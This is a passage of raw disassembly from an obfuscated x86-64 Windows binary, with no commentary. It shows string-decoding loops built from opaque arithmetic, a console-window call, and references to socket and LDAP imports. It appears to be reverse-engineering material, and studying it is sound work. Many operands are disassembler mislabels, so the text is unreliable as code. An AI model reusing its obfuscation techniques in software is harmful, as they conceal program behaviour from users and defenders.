ja 0x1400ca5d6
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1400ca5ba
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400ca59e
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400ca590
lea rcx, [r9 + 0x2a]
cmp r8, rcx
ja 0x1400ca56e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400ca545
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400ca52b
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400ca320
mov r8, rcx
lea r9, [rcx + 0x5a]
jmp 0x1400ca320
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x1400ca310
lea edx, [r10 - 0x74]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ca2a0
add r10b, 0x34
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x6c
jmp 0x1400ca236
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400cab47
sub r10b, 0x78
movzx eax, r10b
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400ca222
add r10b, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x1400ca222
lea edx, [r10 - 0x28]
mov ecx, recv
jmp 0x1400cab81
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
jmp 0x1400cabb3
add r10b, 0x28
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x18
jmp 0x1400cabb6
lea edx, [r10 - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cabe8
add r10b, 0x78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x48
jmp 0x1400cac13
add r10b, 0x20
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400cac6b
add r10b, 0x44
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi + 0x2a0], r11b
inc rdi
jmp 0x1400ca222
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
cmp r9, 0x1000
jb 0x1400ca649
lea ecx, [r10 - 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x70]
jmp 0x1400cab47
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
cmp r8, 2
jae 0x1400caa8c
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400ca9a9
lea edx, [r10 + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ca66e
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x1400caaa7
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400ca907
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x1400ca6a8
sub r10b, 0x58
movzx eax, r10b
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400cac6b
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
jmp 0x1400cac13
lea edx, [r10 - 8]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cabe8
sub r10b, 0x60
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x60
jmp 0x1400cabb6
add r10b, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400cabb3
sub r10b, 0x68
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x28
dec rdi
inc rdi
jmp 0x1400ca222
add r10b, 0x40
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400ca222
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400cab47
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400ca847
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x1400ca6f5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ca871
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400cac6b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ca89e
add r10b, 0x40
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400cabb6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ca8b9
lea edx, [r10 - 0x10]
mov ecx, gethostname
jmp 0x1400cab81
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ca8ec
add r10b, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400ca222
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ca6f5
lea edx, [r10 - 8]
mov ecx, Ordinal_32
jmp 0x1400cab36
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400ca922
lea edx, [r10 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1400cab36
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ca955
sub r10b, 0x7c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400ca222
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ca982
sub r10b, 0x74
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400cabb6
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400ca6a8
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x1400cabe8
jne 0x1400ca9dc
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ca222
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400caa08
lea edx, [r10 + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cabe8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400caa2f
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400cab92
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400caa65
sub r10b, 0x28
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400ca222
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ca66e
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x1400cab47
lea edx, [r10 - 0x20]
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
jmp 0x1400cab8c
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400cabe8
lea ecx, [r10 + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400cabe8
add r10b, 0x54
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x4c
jmp 0x1400cabb3
sub r10b, 0x5c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7c
dec rdi
inc rdi
jmp 0x1400ca222
lea edx, [r10 - 0xc]
mov ecx, Ordinal_46
jmp 0x1400cab36
movzx r10d, dil
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x4c
movzx eax, bl
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x2a0], cl
inc r9
dec rdi
inc rdi
jmp 0x1400ca222
movzx r10d, dil
lea edx, [r10 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r10b, 0xc
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x2a0], r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400ca222
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub al, sil
lea r11d, [rbx + rax]
sub r11b, 0x6c
movzx r10d, dil
add r10b, 0x64
movzx eax, r10b
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x2a0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x2a0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ca222
lea rax, [rdi + r15]
and sil, al
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, sil
lea r11d, [rcx + rcx]
add r11b, al
add r11b, bl
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ca222
sub r10b, 0x24
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 4
jmp 0x1400ca220
sub r10b, 0x7c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400ca210
lea rdx, [rbp + 0x15a5430]
jmp 0x1400cacdf
lea rdx, [rbp + 0x16a7b5c]
jmp 0x1400cacdf
lea rdx, [rbp + 0x2a0]
mov rcx, qword [0x1402cdcd0]
call fcn.1400cc620
mov rsi, qword [0x1402cdcd0]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x5d0], 0xf3
mov byte [rbp + 0x5d1], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x5d2], 9
mov byte [rbp + 0x5d3], recv
mov byte [rbp + 0x5d4], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x5d5], reloc.WS2_32.dll_send
mov byte [rbp + 0x5d6], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x5d7], 0xdf
mov byte [rbp + 0x5d8], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x5d9], Ordinal_50
mov byte [rbp + 0x5da], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x5db], gethostname
mov byte [rbp + 0x5dc], gethostname
mov byte [rbp + 0x5dd], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x5de], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x5df], 0xe7
mov byte [rbp + 0x5e0], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x5e1], Ordinal_41
mov byte [rbp + 0x5e2], 0xe8
mov byte [rbp + 0x5e3], 0xfe
mov byte [rbp + 0x5e4], 0xea
mov byte [rbp + 0x5e5], gethostname
mov byte [rbp + 0x5e6], Ordinal_46
mov byte [rbp + 0x5e7], Ordinal_46
mov byte [rbp + 0x5e8], 0x3f
mov byte [rbp + 0x5e9], 0x3f
mov byte [rbp + 0x5ea], gethostname
mov byte [rbp + 0x5eb], Ordinal_41
mov byte [rbp + 0x5ec], 0xfc
mov byte [rbp + 0x5ed], 0xfb
mov byte [rbp + 0x5ee], 0xfa
mov byte [rbp + 0x5ef], 0x9d
mov byte [rbp + 0x5f0], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5f1], xmm0
movups xmmword [rbp + 0x601], xmm0
mov word [rbp + 0x611], ax
movabs r14, 0x9cdf743672ee0e17
movabs r12, 0x4a1c2d7d248262a1
movabs r15, 0xd69e5ca358ca2a45
movzx ebx, byte [rsp + 0x31]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x43
jae 0x1400cb9ec
movzx r10d, byte [rbp + rdi + 0x5d0]
mov edx, r10d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400cb9e0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cae92
lea rcx, [rdi + r14]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x5f
jmp 0x1400caecc
je 0x1400cb975
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cb8f1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cb8d2
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cb8b0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cb86a
movzx r11d, dil
cmp r9, rdi
ja 0x1400cb9d4
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400caf03
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x35
jmp 0x1400caf50
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cb850
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cb81e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cb802
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cb7e6
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cb7b9
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400cb4ad
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400cb491
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400cb46c
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400cb446
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cb428
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400cb40c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cb3f0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cb3d2
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400cb3b2
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400cb385
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400caf60
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400cb9b8
lea rcx, [r9 + 0x200]
cmp r8, rcx
jb 0x1400cb99c
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400cb14a
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400cb130
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400cb116
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400cb33c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400cb2f5
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400cb2b8
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400cb292
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400caf60
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400cb261
lea rcx, [r9 + 0x7a]
cmp r8, rcx
ja 0x1400cb241
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400cb225
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400cb209
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400cb1e9
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400cb1cb
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400cb1a9
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400cb184
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400cb166
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400caf60
mov r8, rcx
lea r9, [rcx + 0x2a]
jmp 0x1400caf60
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6b
jmp 0x1400caf50
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x29
jmp 0x1400caed0
add r11b, 0x21
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x19
jmp 0x1400cae60
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400cb883
sub r11b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x66
inc r9
dec rdi
inc rdi
jmp 0x1400cae42
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x24
dec rdi
inc rdi
jmp 0x1400cae42
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400cb777
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400cb835
add r11b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5e
jmp 0x1400cb838
lea edx, [r11 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x1c
add bl, dl
jmp 0x1400cb906
sub r11b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400cb931
sub r11b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x5d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cae42
add r11b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x73
mov byte [rbp + rdi + 0x5d0], bl
inc rdi
jmp 0x1400cae42
lea edx, [r11 + 7]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x31
add bl, dl
cmp r9, 3
jb 0x1400cb2a9
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x4c]
jmp 0x1400cb883
lea edx, [r11 - 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x11
add bl, dl
cmp r8, 8
jae 0x1400cb75d
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400cb68d
lea edx, [r11 + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400cb2cd
lea edx, [r11 - 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x53
add bl, dl
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400cb79e
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400cb596
lea edx, [r11 + 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5d
jmp 0x1400cb30a
add r11b, 0x52
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3e
movzx eax, byte [rbp + rdi + 0x5d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cae42
add r11b, 0x24
movzx eax, r10b
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400cb931
lea edx, [r11 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400cb906
sub r11b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x78
jmp 0x1400cb838
sub r11b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x36
jmp 0x1400cb835
lea edx, [r11 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400cb777
add r11b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400cae42
add r11b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x70
inc r9
dec rdi
inc rdi
jmp 0x1400cae42
lea edx, [r11 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2e
add bl, dl
jmp 0x1400cb883
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400cb4d4
lea edx, [r11 + 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x5f
jmp 0x1400cb351
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cb50e
sub r11b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
movzx eax, byte [rbp + rdi + 0x5d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cae42
inc rax
cmp r8, rax
jne 0x1400cb538
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400cb906
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cb563
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400cb777
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cb353
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400cae42
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cb5bf
lea edx, [r11 - 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x61
add bl, dl
jmp 0x1400cb883
inc rax
cmp r8, rax
jne 0x1400cb5ed
add r11b, 5
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x23
dec rdi
inc rdi
jmp 0x1400cae42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cb616
lea edx, [r11 + 0x33]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x65
add bl, dl
jmp 0x1400cb777
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cb63f
add r11b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x59
jmp 0x1400cb835
cmp r8, rcx
jne 0x1400cb664
sub r11b, 0x71
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x17
jmp 0x1400cb838
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cb30c
lea edx, [r11 - 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2b
add bl, dl
jmp 0x1400cb906
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cb6cb
sub r11b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x5d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cae42
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cb6f8
add r11b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400cb835
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cb727
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
dec rdi
inc rdi
jmp 0x1400cae42
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cb2cf
sub r11b, 0x32
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400cae42
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x68
add bl, dl
add bl, r10b
add r11b, 0x6f
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 9
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0x5d0], cl
jmp 0x1400cb835
lea edx, [r11 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400cb906
sub r11b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x79
movzx eax, byte [rbp + rdi + 0x5d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cae42
lea edx, [r11 + 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 3
add bl, dl
jmp 0x1400cb906
sub r11b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x3f
jmp 0x1400cb838
sub r11b, 0x37
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x7f
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400cae42
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x77
